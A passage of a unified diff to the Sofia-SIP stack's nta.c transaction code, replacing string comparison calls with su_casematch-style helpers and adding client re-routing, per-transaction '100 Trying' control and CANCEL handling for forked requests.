-    msg_header_insert(msg, (msg_pub_t *)sip, (msg_header_t *)v);
+    if (msg_header_insert(msg, (msg_pub_t *)sip, (msg_header_t *)v) < 0)
+      return -1;
+    orq->orq_via_added = 1;
   }
   else
     return -1;
@@ -2541,26 +2565,23 @@
   if (branch && branch != v->v_branch) {
     char const *bvalue = branch + strcspn(branch, "=");
     if (*bvalue) bvalue++;
-    if (!v->v_branch || strcasecmp(bvalue, v->v_branch))
+    if (!v->v_branch || !su_casematch(bvalue, v->v_branch))
       msg_header_replace_param(msg_home(msg), v->v_common, branch);
   }
 
-  if (via->v_protocol != v->v_protocol &&
-      strcasecmp(via->v_protocol, v->v_protocol))
+  if (!su_casematch(via->v_protocol, v->v_protocol))
     clear = 1, v->v_protocol = via->v_protocol;
 
   /* XXX - should we do this? */
   if ((!user_via || !v->v_host) &&
-      via->v_host != v->v_host &&
-      str0cmp(via->v_host, v->v_host))
+      !su_strmatch(via->v_host, v->v_host))
     clear = 1, v->v_host = via->v_host;
 
   if ((!user_via || !v->v_port ||
        /* Replace port in user Via only if we use udp and no rport */
        (v->v_protocol == sip_transport_udp && !v->v_rport &&
 	!orq->orq_stateless)) &&
-      via->v_port != v->v_port &&
-      str0cmp(via->v_port, v->v_port))
+      !su_strmatch(via->v_port, v->v_port))
     clear = 1, v->v_port = via->v_port;
 
   if (clear)
@@ -2599,11 +2620,12 @@
 }
 
 /** Get transport name from URL. */
-int nta_tpn_by_url(su_home_t *home,
-		   tp_name_t *tpn,
-		   char const **scheme,
-		   char const **port,
-		   url_string_t const *us)
+static int
+nta_tpn_by_url(su_home_t *home,
+	       tp_name_t *tpn,
+	       char const **scheme,
+	       char const **port,
+	       url_string_t const *us)
 {
   url_t url[1];
   isize_t n;
@@ -2628,10 +2650,8 @@
   SU_DEBUG_7(("nta: selecting scheme %s\n", url->url_scheme));
 
   *scheme = url->url_scheme;
-  if (strcasecmp(url->url_scheme, "sips") == 0)
-    tpn->tpn_proto = "tls";
-  else
-    tpn->tpn_proto = "*";
+
+  tpn->tpn_proto = NULL;
   tpn->tpn_canon = url->url_host;
   tpn->tpn_host = url->url_host;
 
@@ -2639,11 +2659,11 @@
     for (b = (char *)url->url_params; b[0]; b += n) {
       n = strcspn(b, ";");
 
-      if (n > 10 && strncasecmp(b, "transport=", 10) == 0)
+      if (n > 10 && su_casenmatch(b, "transport=", 10))
 	tpn->tpn_proto = b + 10;
-      else if (n > 5 && strncasecmp(b, "comp=", 5) == 0)
+      else if (n > 5 && su_casenmatch(b, "comp=", 5))
 	tpn->tpn_comp = b + 5;
-      else if (n > 6 && strncasecmp(b, "maddr=", 6) == 0)
+      else if (n > 6 && su_casenmatch(b, "maddr=", 6))
 	tpn->tpn_host = b + 6;
 
       if (b[n])
@@ -2656,6 +2676,14 @@
 
   tpn->tpn_ident = NULL;
 
+  if (tpn->tpn_proto)
+    return 1;
+
+  if (su_casematch(url->url_scheme, "sips"))
+    tpn->tpn_proto = "tls";
+  else
+    tpn->tpn_proto = "*";
+
   return 0;
 }
 
@@ -2845,7 +2873,7 @@
     return;
   }
 
-  if (str0casecmp(sip->sip_request->rq_version, sip_version_2_0) != 0) {
+  if (!su_casematch(sip->sip_request->rq_version, sip_version_2_0)) {
     agent->sa_stats->as_bad_request++;
     agent->sa_stats->as_bad_message++;
 
@@ -3008,7 +3036,7 @@
     return v ? 0 : -1;
   }
 
-  if (str0casecmp(v->v_protocol, tpv->v_protocol)) {
+  if (!su_strmatch(v->v_protocol, tpv->v_protocol)) {
     tport_hostport(hostport, TPORT_HOSTPORTSIZE, from, 1);
     SU_DEBUG_1(("nta: Via check: invalid transport \"%s\" from %s\n",
 		v->v_protocol, hostport));
@@ -3026,7 +3054,7 @@
   if (!tport_hostport(hostport, TPORT_HOSTPORTSIZE, from, 0))
     return -1;
 
-  if (strcasecmp(hostport, v->v_host)) {
+  if (!su_casematch(hostport, v->v_host)) {
     size_t rlen;
     /* Add the "received" field */
     memcpy(received, "received=", receivedlen);
@@ -3127,9 +3155,9 @@
 	url->url_port = lv->v_port;
       return 1;
     }
-    if (url->url_port &&
-	strcmp(url->url_port, url_port_default(url->url_type)) == 0)
-      /* Remove default port */
+    if (su_strmatch(url->url_port, url_port_default((enum url_type_e)url->url_type)) ||
+	su_strmatch(url->url_port, ""))
+      /* Remove default or empty port */
       url->url_port = NULL;
 
     return 0;
@@ -3196,7 +3224,7 @@
     return;
   }
 
-  if (str0casecmp(sip->sip_status->st_version, sip_version_2_0) != 0) {
+  if (!su_casematch(sip->sip_status->st_version, sip_version_2_0)) {
     agent->sa_stats->as_bad_response++;
     agent->sa_stats->as_bad_message++;
 
@@ -3249,14 +3277,6 @@
       && sip->sip_via && !sip->sip_via->v_next
       && agent_has_via(agent, sip->sip_via)) {
     agent->sa_stats->as_trless_200++;
-#if nomore /* sf.net bug #1750691. Let UAS to cope with it. */
-    if (agent->sa_is_a_uas) {
-      /* Orphan 200 Ok to INVITE. ACK and BYE it */
-      SU_DEBUG_5(("nta: %03d %s %s\n", status, phrase, "is ACK&BYE"));
-      if (nta_msg_ackbye(agent, msg) != -1)
-	return;
-    }
-#endif
   }
 
   SU_DEBUG_5(("nta: %03d %s %s\n", status, phrase, "was discarded"));
@@ -3682,7 +3702,6 @@
  */
 int nta_msg_ackbye(nta_agent_t *agent, msg_t *msg)
 {
-#if nomore
   sip_t *sip = sip_object(msg);
   msg_t *amsg = nta_msg_create(agent, 0);
   sip_t *asip = sip_object(amsg);
@@ -3771,8 +3790,6 @@
  err:
   msg_destroy(amsg);
   msg_destroy(bmsg);
-#endif
-  (void)agent; (void)msg;
   return -1;
 }
 
@@ -3807,7 +3824,6 @@
   su_home_t *home = msg_home(msg);
   sip_t *sip = sip_object(msg);
   sip_to_t const *to;
-  sip_cseq_t *cseq;
   uint32_t seq;
   url_t reg_url[1];
   url_string_t const *original = request_uri;
@@ -3865,7 +3881,7 @@
     if (!rq
 	|| request_uri != (url_string_t *)rq->rq_url
 	|| method != rq->rq_method
-	|| str0cmp(method_name, rq->rq_method_name))
+	|| !su_strmatch(method_name, rq->rq_method_name))
       rq = NULL;
 
     if (rq == NULL) {
@@ -3905,7 +3921,7 @@
     sip->sip_from = sip_from_dup(home, leg->leg_local);
   else if (leg->leg_local && leg->leg_local->a_tag &&
 	   (!sip->sip_from->a_tag ||
-	    strcasecmp(sip->sip_from->a_tag, leg->leg_local->a_tag)))
+	    !su_casematch(sip->sip_from->a_tag, leg->leg_local->a_tag)))
     sip_from_tag(home, sip->sip_from, leg->leg_local->a_tag);
 
   if (sip->sip_from && !sip->sip_from->a_tag) {
@@ -3952,14 +3968,14 @@
       sip->sip_call_id = sip_call_id_create(home, NULL);
   }
 
-  if ((!sip->sip_cseq ||
-       seq != sip->sip_cseq->cs_seq ||
-       method != sip->sip_cseq->cs_method ||
-       (method == sip_method_unknown &&
-	strcmp(method_name, sip->sip_cseq->cs_method_name) != 0)) &&
-      (!(cseq = sip_cseq_create(home, seq, method, method_name)) ||
-       msg_header_insert(msg, (msg_pub_t *)sip, (msg_header_t *)cseq) < 0))
-    return -1;
+  if (!sip->sip_cseq ||
+      seq != sip->sip_cseq->cs_seq ||
+      method != sip->sip_cseq->cs_method ||
+      !su_strmatch(method_name, sip->sip_cseq->cs_method_name)) {
+    sip_cseq_t *cseq = sip_cseq_create(home, seq, method, method_name);
+    if (msg_header_insert(msg, (msg_pub_t *)sip, (msg_header_t *)cseq) < 0)
+      return -1;
+  }
 
   return 0;
 }
@@ -3971,7 +3987,8 @@
 static int leg_route(nta_leg_t *leg,
 		     sip_record_route_t const *route,
 		     sip_record_route_t const *reverse,
-		     sip_contact_t const *contact);
+		     sip_contact_t const *contact,
+		     int reroute);
 static int leg_callback_default(nta_leg_magic_t*, nta_leg_t*,
 				nta_incoming_t*, sip_t const *);
 #define HTABLE_HASH_LEG(leg) ((leg)->leg_hash)
@@ -4133,7 +4150,7 @@
     leg->leg_remote = sip_from_make(home, to_str);
 
   if (route && route != NONE)
-    leg->leg_route = sip_route_dup(home, route);
+    leg->leg_route = sip_route_dup(home, route), leg->leg_route_set = 1;
 
   if (contact && contact != NONE) {
     sip_contact_t m[1];
@@ -4391,10 +4408,10 @@
   /* If there already is a tag,
      return NULL if it does not match with new one */
   if (leg->leg_local->a_tag) {
-    if (!tag && str0casecmp(tag, leg->leg_local->a_tag))
+    if (tag == NULL || su_casematch(tag, leg->leg_local->a_tag))
+      return leg->leg_local->a_tag;
+    else
       return NULL;
-    else
-      return leg->leg_local->a_tag;
   }
 
   if (tag) {
@@ -4470,24 +4487,55 @@
 
 /** Save target and route set at UAC side.
  *
- * @sa nta_leg_server_route(), @RFC3261 section 12.1.2
+ * @sa nta_leg_client_reroute(), nta_leg_server_route(), @RFC3261 section 12.1.2
+ *
+ * @bug Allows modifying the route set after initial transaction, if initial
+ * transaction had no @RecordRoute headers.
+ *
+ * @deprecated Use nta_leg_client_reroute() instead.
  */
 int nta_leg_client_route(nta_leg_t *leg,
 			 sip_record_route_t const *route,
 			 sip_contact_t const *contact)
 {
-  return leg_route(leg, NULL, route, contact);
+  return leg_route(leg, NULL, route, contact, 0);
 }
 
+/** Save target and route set at UAC side.
+ *
+ * If @a initial is true, the route set is modified even if it has been set
+ * earlier.
+ *
+ * @param leg pointer to dialog leg
+ * @param route @RecordRoute headers from response
+ * @param contact @Contact header from response
+ * @param initial true if response to initial transaction
+ *
+ * @sa nta_leg_client_route(), nta_leg_server_route(), @RFC3261 section 12.1.2
+ *
+ * @NEW_1_12_11
+ */
+int nta_leg_client_reroute(nta_leg_t *leg,
+			   sip_record_route_t const *route,
+			   sip_contact_t const *contact,
+			   int initial)
+{
+  return leg_route(leg, NULL, route, contact, initial ? 2 : 1);
+}
+
 /** Save target and route set at UAS side.
  *
- * @sa nta_leg_client_route(), @RFC3261 section 12.1.1
+ * @param leg pointer to dialog leg
+ * @param route @RecordRoute headers from request
+ * @param contact @Contact header from request
+ *
+ * @sa nta_leg_client_reroute(), @RFC3261 section 12.1.1
  */
 int nta_leg_server_route(nta_leg_t *leg,
 			 sip_record_route_t const *route,
 			 sip_contact_t const *contact)
 {
-  return leg_route(leg, route, NULL, contact);
+  return leg_route(leg, route, NULL, contact, 1);
 }
 
 /** Return route components. */
@@ -4511,10 +4559,10 @@
  *
  * @since New in @VERSION_1_12_2.
  */
-SOFIAPUBFUN
-sip_replaces_t *nta_leg_make_replaces(nta_leg_t *leg,
-				      su_home_t *home,
-				      int early_only)
+sip_replaces_t *
+nta_leg_make_replaces(nta_leg_t *leg,
+		      su_home_t *home,
+		      int early_only)
 {
   char const *from_tag, *to_tag;
 
@@ -4535,8 +4583,8 @@
  *
  * @since New in @VERSION_1_12_2.
  */
-SOFIAPUBFUN
-nta_leg_t *nta_leg_by_replaces(nta_agent_t *sa, sip_replaces_t const *rp)
+nta_leg_t *
+nta_leg_by_replaces(nta_agent_t *sa, sip_replaces_t const *rp)
 {
   nta_leg_t *leg = NULL;
 
@@ -4562,9 +4610,9 @@
  * Find a leg corresponding to the request message.
  *
  */
-static
-nta_leg_t *leg_find_call_id(nta_agent_t const *sa,
-		    sip_call_id_t const *i)
+static nta_leg_t *
+leg_find_call_id(nta_agent_t const *sa,
+		 sip_call_id_t const *i)
 {
   hash_value_t hash = i->i_hash;
   leg_htable_t const *lht = sa->sa_dialogs;
@@ -4594,8 +4642,8 @@
  *
  * @since New in @VERSION_1_12_9.
  */
-SOFIAPUBFUN
-nta_leg_t *nta_leg_by_call_id(nta_agent_t *sa, const char *call_id)
+nta_leg_t *
+nta_leg_by_call_id(nta_agent_t *sa, const char *call_id)
 {
   nta_leg_t *leg = NULL;
 
@@ -4711,9 +4759,9 @@
     return 0;
   else
     return
-      host_cmp(a->url_host, b->url_host)
-      || str0cmp(a->url_port, b->url_port)
-      || str0cmp(a->url_user, b->url_user);
+      host_cmp(a->url_host, b->url_host) ||
+      su_strcmp(a->url_port, b->url_port) ||
+      su_strcmp(a->url_user, b->url_user);
 }
 
 /** Get a leg by dialog.
@@ -4836,14 +4884,14 @@
     if (!remote_tag != !from_tag && !local_tag != !to_tag)
       continue;
 
-    if (local_tag && to_tag && strcasecmp(local_tag, to_tag) && to_tag[0])
+    if (local_tag && to_tag && !su_casematch(local_tag, to_tag) && to_tag[0])
       continue;
-    if (remote_tag && from_tag && strcasecmp(remote_tag, from_tag) && from_tag[0])
+    if (remote_tag && from_tag && !su_casematch(remote_tag, from_tag) && from_tag[0])
       continue;
 
     if (leg_url && request_uri && url_cmp(leg_url, request_uri))
       continue;
-    if (leg_method && method_name && strcasecmp(method_name, leg_method))
+    if (leg_method && method_name && !su_casematch(method_name, leg_method))
       continue;
 
     /* Perfect match if both local and To have tag
@@ -4863,7 +4911,7 @@
 nta_leg_t *nta_leg_by_uri(nta_agent_t const *agent, url_string_t const *us)
 {
   url_t *url;
-  nta_leg_t *leg;
+  nta_leg_t *leg = NULL;
 
   if (!agent)
     return NULL;
@@ -4873,12 +4921,12 @@
 
   url = url_hdup(NULL, us->us_url);
 
-  agent_aliases(agent, url, NULL);
+  if (url) {
+    agent_aliases(agent, url, NULL);
+    leg = dst_find(agent, url, NULL);
+    su_free(NULL, url);
+  }
 
-  leg = url ? dst_find(agent, url, NULL) : NULL;
-
-  su_free(NULL, url);
-
   return leg;
 }
 
@@ -4916,7 +4964,7 @@
 	return leg;
       }
       else if (leg->leg_method) {
-	if (strcasecmp(method_name, leg->leg_method))
+	if (!su_casematch(method_name, leg->leg_method))
 	  continue;
 	return leg;
       }
@@ -4941,15 +4989,21 @@
  *
  * Sets the leg route and contact using the @RecordRoute and @Contact
  * headers.
+ *
+ * @param reroute - allow rerouting
+ * - if 1, follow @RFC3261 semantics
+ * - if 2, response to initial transaction)
  */
 static
 int leg_route(nta_leg_t *leg,
 	      sip_record_route_t const *route,
 	      sip_record_route_t const *reverse,
-	      sip_contact_t const *contact)
+	      sip_contact_t const *contact,
+	      int reroute)
 {
   su_home_t *home = leg->leg_home;
-  sip_route_t *r, r0[1];
+  sip_route_t *r, r0[1], *old;
+  int route_is_set;
 
   if (!leg)
     return -1;
@@ -4959,7 +5013,9 @@
 
   sip_route_init(r0);
 
-  if (leg->leg_route) {
+  route_is_set = reroute ? leg->leg_route_set : leg->leg_route != NULL;
+
+  if (route_is_set && reroute <= 1) {
     r = leg->leg_route;
   }
   else if (route) {
@@ -5024,8 +5080,14 @@
   }
 #endif
 
+  old = leg->leg_route;
   leg->leg_route = r;
 
+  if (old && old != r)
+    msg_header_free(leg->leg_home, (msg_header_t *)old);
+
+  leg->leg_route_set = 1;
+
   return 0;
 }
 
@@ -5224,6 +5286,7 @@
     }
     irq->irq_branch  = sip->sip_via->v_branch;
     irq->irq_reliable_tp = tport_is_reliable(tport);
+    irq->irq_extra_100 = 1; /* Sending extra 100 trying true by default */
 
     if (sip->sip_timestamp)
       irq->irq_timestamp = sip_timestamp_copy(home, sip->sip_timestamp);
@@ -5657,7 +5720,7 @@
   if (tag && strchr(tag, '='))
     tag = strchr(tag, '=') + 1;
 
-  if (tag && irq->irq_tag && strcasecmp(tag, irq->irq_tag))
+  if (tag && irq->irq_tag && !su_casematch(tag, irq->irq_tag))
     return NULL;
 
   if (!irq->irq_tag) {
@@ -5783,11 +5846,21 @@
   return irq ? irq->irq_status : 400;
 }
 
-/** Get context pointer for an incoming transaction */
+/** Get application context for a server transaction.
+ *
+ * @param irq server transaction
+ * @param callback callback pointer
+ *
+ * Return the application context bound to the server transaction. If the @a
+ * callback function pointer is given, return application context only if
+ * the callback matches with the callback bound to the server transaction.
+ *
+ */
 nta_incoming_magic_t *nta_incoming_magic(nta_incoming_t *irq,
 					 nta_ack_cancel_f *callback)
 {
-  return irq && irq->irq_callback == callback ? irq->irq_magic : NULL;
+  return irq && (callback == NULL || irq->irq_callback == callback)
+    ? irq->irq_magic : NULL;
 }
 
 /** When received.
@@ -5845,7 +5918,7 @@
 
   int is_uas_ack = return_ack && agent->sa_is_a_uas;
 
-  if (v->v_branch && strncasecmp(v->v_branch, "z9hG4bK", 7) == 0)
+  if (v->v_branch && su_casenmatch(v->v_branch, "z9hG4bK", 7))
     magic_branch = v->v_branch + 7;
   else
     magic_branch = NULL;
@@ -5859,13 +5932,13 @@
       continue;
     if (irq->irq_cseq->cs_seq != cseq->cs_seq)
       continue;
-    if (str0casecmp(irq->irq_from->a_tag, from->a_tag))
+    if (su_strcasecmp(irq->irq_from->a_tag, from->a_tag))
       continue;
 
     if (is_uas_ack &&
 	irq->irq_method == sip_method_invite &&
 	200 <= irq->irq_status && irq->irq_status < 300 &&
-	str0casecmp(irq->irq_tag, to->a_tag) == 0) {
+	su_casematch(irq->irq_tag, to->a_tag)) {
       *return_ack = irq;
       return NULL;
     }
@@ -5878,11 +5951,10 @@
        * transaction, except for ACK, where the method of the request
        * that created the transaction is INVITE.
        */
-
       if (irq->irq_via->v_branch &&
-	  strcasecmp(irq->irq_via->v_branch + 7, magic_branch) == 0 &&
-	  strcasecmp(irq->irq_via->v_host, v->v_host) == 0 &&
-	  str0cmp(irq->irq_via->v_port, v->v_port) == 0) {
+	  su_casematch(irq->irq_via->v_branch + 7, magic_branch) &&
+	  su_casematch(irq->irq_via->v_host, v->v_host) &&
+	  su_strmatch(irq->irq_via->v_port, v->v_port)) {
 	if (irq->irq_method == cseq->cs_method &&
 	    strcmp(irq->irq_cseq->cs_method_name,
 		   cseq->cs_method_name) == 0)
@@ -5903,9 +5975,9 @@
       /* From tag, Call-ID, and CSeq number has been matched above */
 
       /* Match top Via header field */
-      if (str0casecmp(irq->irq_via->v_branch, v->v_branch) != 0 ||
-	       strcasecmp(irq->irq_via->v_host, v->v_host) != 0 ||
-	       str0cmp(irq->irq_via->v_port, v->v_port) != 0)
+      if (!su_casematch(irq->irq_via->v_branch, v->v_branch) ||
+	  !su_casematch(irq->irq_via->v_host, v->v_host) ||
+	  !su_strmatch(irq->irq_via->v_port, v->v_port))
 	;
       /* Match Request-URI */
       else if (url_cmp(irq->irq_rq->rq_url, rq->rq_url))
@@ -5913,17 +5985,16 @@
       else {
 	/* Match CSeq */
 	if (irq->irq_method == cseq->cs_method &&
-	    strcmp(irq->irq_cseq->cs_method_name,
-		   cseq->cs_method_name) == 0) {
+	    su_strmatch(irq->irq_cseq->cs_method_name, cseq->cs_method_name)) {
 	  /* Match To tag  */
-	  if (!str0casecmp(irq->irq_to->a_tag, to->a_tag))
+	  if (!su_strcasecmp(irq->irq_to->a_tag, to->a_tag))
 	    return irq;		/* found */
 	}
 	else if (
 	  /* Tag set by UAS */
-	  str0casecmp(irq->irq_tag, to->a_tag) &&
+	  su_strcasecmp(irq->irq_tag, to->a_tag) &&
 	  /* Original tag */
-	  str0casecmp(irq->irq_to->a_tag, to->a_tag))
+	  su_strcasecmp(irq->irq_to->a_tag, to->a_tag))
 	  ;
 	else if (return_ack && irq->irq_method == sip_method_invite)
 	  return *return_ack = irq, NULL;
@@ -5958,8 +6029,9 @@
 		sip->sip_request->rq_method_name, irq->irq_status));
     incoming_retransmit_reply(irq, tport);
   }
-  else if (irq->irq_agent->sa_extra_100) {
-    /* Answer automatically with 100 Trying */
+  else if (irq->irq_agent->sa_extra_100 &&
+           irq->irq_extra_100) {
+    /* Agent and Irq configured to answer automatically with 100 Trying */
     if (irq->irq_method == sip_method_invite ||
 	/*
 	 * Send 100 trying to non-invite if at least half of T2 has expired
@@ -6126,11 +6198,11 @@
 
 /**Set server transaction parameters.
  *
- * Sets the server transaction parameters. The parameters determine the way
+ * Sets the server transaction parameters. Among others, parameters determine the way
  * the SigComp compression is handled.
  *
  * @TAGS
- * NTATAG_COMP(), and NTATAG_SIGCOMP_CLOSE().
+ * NTATAG_COMP(), NTATAG_SIGCOMP_CLOSE() and NTATAG_EXTRA_100().
  *
  * @retval number of set parameters when succesful
  * @retval -1 upon an error
@@ -6176,6 +6248,9 @@
 
     else if (tptag_compartment == tt)
       cc = (void *)t->t_value, retval++;
+
+    else if (ntatag_extra_100 == tt)
+      irq->irq_extra_100 = t->t_value != 0, retval++;
   }
 
   if (cc != NONE) {
@@ -6328,11 +6403,13 @@
     msg = nta_msg_create(irq->irq_agent, 0);
     sip = sip_object(msg);
 
-    if (sip && status != 0)
-      sip->sip_status = sip_status_create(msg_home(msg), status, phrase, NULL);
+    if (sip) {
+      if (status != 0)
+	sip->sip_status = sip_status_create(msg_home(msg), status, phrase, NULL);
 
-    if (nta_incoming_response_headers(irq, msg, sip) < 0)
-      msg_destroy(msg), msg = NULL;
+      if (nta_incoming_response_headers(irq, msg, sip) < 0)
+	msg_destroy(msg), msg = NULL;
+    }
   }
 
   return msg;
@@ -6726,7 +6803,8 @@
 };
 
 /** @internal Timer routine for the incoming request. */
-static void incoming_timer(nta_agent_t *sa)
+static void
+_nta_incoming_timer(nta_agent_t *sa)
 {
   uint32_t now = sa->sa_millisec;
   nta_incoming_t *irq, *irq_next;
@@ -6788,9 +6866,16 @@
     }
     else {
       /* Timer N1 */
-      SU_DEBUG_5(("nta: timer N1 fired, sending %u %s\n", SIP_100_TRYING));
       incoming_reset_timer(irq);
-      nta_incoming_treply(irq, SIP_100_TRYING, TAG_END());
+
+      if(irq->irq_extra_100) {
+        SU_DEBUG_5(("nta: timer N1 fired, sending %u %s\n", SIP_100_TRYING));
+        nta_incoming_treply(irq, SIP_100_TRYING, TAG_END());
+      }
+      else {
+        SU_DEBUG_5(("nta: timer N1 fired, but avoided sending %u %s\n",
+                    SIP_100_TRYING));
+      }
     }
   }
 
@@ -6978,7 +7063,7 @@
 static void outgoing_send_via(nta_outgoing_t *orq, tport_t *tp);
 static void outgoing_send(nta_outgoing_t *orq, int retransmit);
 static void outgoing_try_tcp_instead(nta_outgoing_t *orq);
-static void outgoing_try_udp_instead(nta_outgoing_t *orq);
+static void outgoing_try_udp_instead(nta_outgoing_t *orq, int timeout);
 static void outgoing_tport_error(nta_agent_t *agent, nta_outgoing_t *orq,
 				 tport_t *tp, msg_t *msg, int error);
 static void outgoing_print_tport_error(nta_outgoing_t *orq,
@@ -6988,10 +7073,10 @@
 static void outgoing_destroy(nta_outgoing_t *orq);
 su_inline int outgoing_is_queued(nta_outgoing_t const *orq);
 su_inline void outgoing_queue(outgoing_queue_t *queue,
-				  nta_outgoing_t *orq);
+			      nta_outgoing_t *orq);
 su_inline void outgoing_remove(nta_outgoing_t *orq);
 su_inline void outgoing_set_timer(nta_outgoing_t *orq, uint32_t interval);
-su_inline void outgoing_reset_timer(nta_outgoing_t *orq);
+static void outgoing_reset_timer(nta_outgoing_t *orq);
 static size_t outgoing_timer_dk(outgoing_queue_t *q,
 				char const *timer,
 				uint32_t now);
@@ -7004,11 +7089,13 @@
 
 static void outgoing_ack(nta_outgoing_t *orq, sip_t *sip);
 static msg_t *outgoing_ackmsg(nta_outgoing_t *, sip_method_t, char const *,
-			      tagi_t const *tags);
+			      tag_type_t tag, tag_value_t value, ...);
 static void outgoing_retransmit(nta_outgoing_t *orq);
 static void outgoing_trying(nta_outgoing_t *orq);
 static void outgoing_timeout(nta_outgoing_t *orq, uint32_t now);
 static int outgoing_complete(nta_outgoing_t *orq);
+static void outgoing_terminate_invite(nta_outgoing_t *);
+static void outgoing_remove_fork(nta_outgoing_t *orq);
 static int outgoing_terminate(nta_outgoing_t *orq);
 static size_t outgoing_mass_destroy(nta_agent_t *sa, outgoing_queue_t *q);
 static void outgoing_estimate_delay(nta_outgoing_t *orq, sip_t *sip);
@@ -7024,7 +7111,9 @@
 			       sip_t const *sip);
 
 #if HAVE_SOFIA_SRESOLV
-static void outgoing_resolve(nta_outgoing_t *orq);
+static void outgoing_resolve(nta_outgoing_t *orq,
+			     int explicit_transport,
+			     enum nta_res_order_e order);
 su_inline void outgoing_cancel_resolver(nta_outgoing_t *orq);
 su_inline void outgoing_destroy_resolver(nta_outgoing_t *orq);
 static int outgoing_other_destinations(nta_outgoing_t const *orq);
@@ -7122,6 +7211,7 @@
   sip_t *sip;
   nta_outgoing_t *orq = NULL;
   ta_list ta;
+  tagi_t const *tagi;
 
   if (leg == NULL)
     return NULL;
@@ -7135,8 +7225,15 @@
 
   ta_start(ta, tag, value);
 
-  if (sip_add_tl(msg, sip, ta_tags(ta)) < 0)
-    ;
+  tagi = ta_args(ta);
+
+  if (sip_add_tagis(msg, sip, &tagi) < 0) {
+    if (tagi && tagi->t_tag) {
+      tag_type_t t = tagi->t_tag;
+      SU_DEBUG_5(("%s(): bad tag %s::%s\n", __func__,
+		  t->tt_ns ? t->tt_ns : "", t->tt_name ? t->tt_name : ""));
+    }
+  }
   else if (route_url == NULL && leg->leg_route &&
 	   leg->leg_loose_route &&
 	   !(route_url = (url_string_t *)leg->leg_route->r_url))
@@ -7278,6 +7375,10 @@
     SU_DEBUG_3(("%s: trying to cancel non-INVITE request\n", __func__));
     return NULL;
   }
+
+  if (orq->orq_forking)
+    orq = orq->orq_forking;
+
   if (orq->orq_status >= 200
       /* && orq->orq_method != sip_method_invite ... !multicast */) {
     SU_DEBUG_3(("%s: trying to cancel completed request\n", __func__));
@@ -7310,14 +7411,13 @@
 	  TAG_END());
 
   if (!cancel_408)
-    msg = outgoing_ackmsg(orq, SIP_METHOD_CANCEL, ta_args(ta));
+    msg = outgoing_ackmsg(orq, SIP_METHOD_CANCEL, ta_tags(ta));
   else
     msg = NULL;
 
   ta_end(ta);
 
-  if ((cancel_2543 || cancel_408) &&
-      !orq->orq_stateless && !orq->orq_destroyed)
+  if ((cancel_2543 || cancel_408) && !orq->orq_stateless)
     outgoing_reply(orq, SIP_487_REQUEST_CANCELLED, 1);
 
   if (msg) {
@@ -7335,8 +7435,11 @@
     if (delay_sending)
       orq->orq_cancel = cancel;
 
-    if (cancel)
+    if (cancel) {
+      if (!delay_sending)
+	outgoing_complete(orq);
       return cancel;
+    }
 
     msg_destroy(msg);
   }
@@ -7344,7 +7447,7 @@
   return NULL;
 }
 
-/**Bind callback and application context to an client transaction.
+/**Bind callback and application context to a client transaction.
  *
  * @param orq       outgoing client transaction
  * @param callback  callback function (may be NULL)
@@ -7353,9 +7456,10 @@
  *
  * @NEW_1_12_9
  */
-SOFIAPUBFUN int nta_outgoing_bind(nta_outgoing_t *orq,
-				  nta_response_f *callback,
-				  nta_outgoing_magic_t *magic)
+int
+nta_outgoing_bind(nta_outgoing_t *orq,
+		  nta_response_f *callback,
+		  nta_outgoing_magic_t *magic)
 {
   if (orq && !orq->orq_destroyed) {
     if (callback == NULL)
@@ -7367,6 +7471,28 @@
   return -1;
 }
 
+/**Get application context bound to a client transaction.
+ *
+ * @param orq       outgoing client transaction
+ * @param callback  callback function (may be NULL)
+ *
+ * Return the application context bound to a client transaction. If the @a
+ * callback function pointer is given, return application context only if
+ * the callback matches with the callback bound to the client transaction.
+ *
+ * @NEW_1_12_11
+ */
+nta_outgoing_magic_t *
+nta_outgoing_magic(nta_outgoing_t const *orq,
+		   nta_response_f *callback)
+{
+  if (orq && (callback == NULL || callback == orq->orq_callback))
+    return orq->orq_magic;
+  else
+    return NULL;
+}
+
+
 /**
  * Destroy a request object.
  *
@@ -7536,8 +7662,9 @@
   ta_list ta;
   char const *scheme = NULL;
   char const *port = NULL;
-  int invalid, resolved, stateless = 0, user_via = agent->sa_user_via;
+  int invalid, resolved = 0, stateless = 0, user_via = agent->sa_user_via;
   int invite_100rel = agent->sa_invite_100rel;
+  int explicit_transport = 1;
 
   tagi_t const *t;
   tport_t *override_tport = NULL;
@@ -7622,12 +7749,12 @@
   orq->orq_pass_100 = pass_100 != 0;
   orq->orq_sigcomp_zap = sigcomp_zap;
   orq->orq_sigcomp_new = comp != NONE && comp != NULL;
-  orq->orq_res_order = res_order;
   orq->orq_timestamp = use_timestamp;
   orq->orq_delay     = UINT_MAX;
   orq->orq_stateless = stateless != 0;
   orq->orq_user_via  = user_via != 0 && sip->sip_via;
   orq->orq_100rel    = invite_100rel;
+  orq->orq_uas       = !stateless && agent->sa_is_a_uas;
 
   if (cc)
     orq->orq_cc = nta_compartment_ref(cc);
@@ -7646,34 +7773,40 @@
     }
   }
 
-  if (route_url && !orq->orq_user_tport) {
-    invalid = nta_tpn_by_url(home, orq->orq_tpn, &scheme, &port, route_url);
-
-    if (override_tport) {	/* Use transport protocol name from transport  */
-      if (strcmp(orq->orq_tpn->tpn_proto, "*") == 0)
-	orq->orq_tpn->tpn_proto = tport_name(override_tport)->tpn_proto;
-    }
-
-    resolved = tport_name_is_resolved(orq->orq_tpn);
-    orq->orq_url = url_hdup(home, sip->sip_request->rq_url);
-    if (route_url != (url_string_t *)agent->sa_default_proxy)
-      orq->orq_route = url_hdup(home, route_url->us_url);
-  }
-  else if (tpn) {
+  if (tpn) {
+    /* CANCEL or ACK to [3456]XX */
     invalid = tport_name_dup(home, orq->orq_tpn, tpn);
 #if HAVE_SOFIA_SRESOLV
+    /* We send ACK or CANCEL only if original request was really sent */
     assert(tport_name_is_resolved(orq->orq_tpn));
 #endif
     resolved = tport_name_is_resolved(orq->orq_tpn);
     orq->orq_url = url_hdup(home, sip->sip_request->rq_url);
-    scheme = "sip";		/* XXX */
   }
+  else if (route_url && !orq->orq_user_tport) {
+    invalid = nta_tpn_by_url(home, orq->orq_tpn, &scheme, &port, route_url);
+    if (invalid >= 0) {
+      explicit_transport = invalid > 0;
+      if (override_tport) {	/* Use transport protocol name from transport  */
+	if (strcmp(orq->orq_tpn->tpn_proto, "*") == 0)
+	  orq->orq_tpn->tpn_proto = tport_name(override_tport)->tpn_proto;
+      }
+
+      resolved = tport_name_is_resolved(orq->orq_tpn);
+      orq->orq_url = url_hdup(home, sip->sip_request->rq_url);
+      if (route_url != (url_string_t *)agent->sa_default_proxy)
